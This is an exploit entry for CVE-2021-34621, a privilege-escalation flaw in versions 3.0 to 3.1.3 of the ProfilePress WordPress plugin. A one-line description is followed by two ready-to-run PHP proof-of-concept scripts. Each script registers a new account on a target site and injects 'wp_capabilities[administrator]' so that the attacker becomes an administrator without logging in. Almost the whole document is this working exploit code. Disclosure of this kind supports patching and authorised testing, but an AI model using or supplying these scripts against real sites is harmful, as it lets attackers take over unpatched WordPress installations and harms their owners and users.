ProfilePress 3.0 – 3.1.3 – Unauthenticated Privilege Escalation | CVE 2021-34621

Description

The user registration functionality of the plugin allowed arbitrary user meta to be supplied, including wp_capabilities, during registration which made it possible for users to register as an administrator.

Proof of Concept

<?php

// Settings
$wp_url = $argv[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r',
    'reg_email' => 'Hax0r@Hax0r.com',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r',
    'reg_last_name' => 'Hax0r',
    'wp_capabilities[administrator]' => '1',
    'action' => 'pp_ajax_signup',
    'melange_id' => ''
]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

or 

<?php

// Settings
$wp_url = $argv[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'reg_username' => 'Hax0r',
    'reg_email' => 'Hax0r@Hax0r.com',
    'reg_password' => 'password',
    'reg_password_present' => 'true',
    'reg_first_name' => 'Hax0r',
    'reg_last_name' => 'Hax0r',
    'wp_capabilities[administrator]' => '1',
    'reg_submit' => '1',
    'melange_id' => ''
]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>